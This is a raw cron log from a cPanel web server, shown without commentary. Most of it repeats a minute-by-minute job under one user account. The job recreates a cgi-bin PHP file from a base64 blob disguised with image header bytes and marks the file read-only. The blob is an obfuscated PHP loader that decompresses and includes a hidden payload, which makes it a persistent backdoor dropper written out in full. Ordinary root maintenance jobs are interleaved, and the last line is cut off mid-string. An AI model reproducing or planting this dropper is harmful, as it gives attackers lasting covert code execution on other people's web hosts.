Apr  6 07:31:01 server CROND[29224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:32:01 server CROND[29295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:33:01 server CROND[29351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:34:01 server CROND[29514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:35:01 server CROND[29590]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  6 07:35:01 server CROND[29591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:35:01 server CROND[29592]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:35:01 server CROND[29602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:35:01 server CROND[29603]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 07:36:01 server CROND[29741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:37:01 server CROND[29808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:38:01 server CROND[29864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:39:01 server CROND[30007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:39:01 server CROND[30008]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 07:40:01 server CROND[30080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:40:01 server CROND[30079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 07:40:01 server CROND[30082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:40:01 server CROND[30081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:41:01 server CROND[30210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:42:01 server CROND[30270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:42:01 server CROND[30271]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 07:43:01 server CROND[30347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:44:01 server CROND[30501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd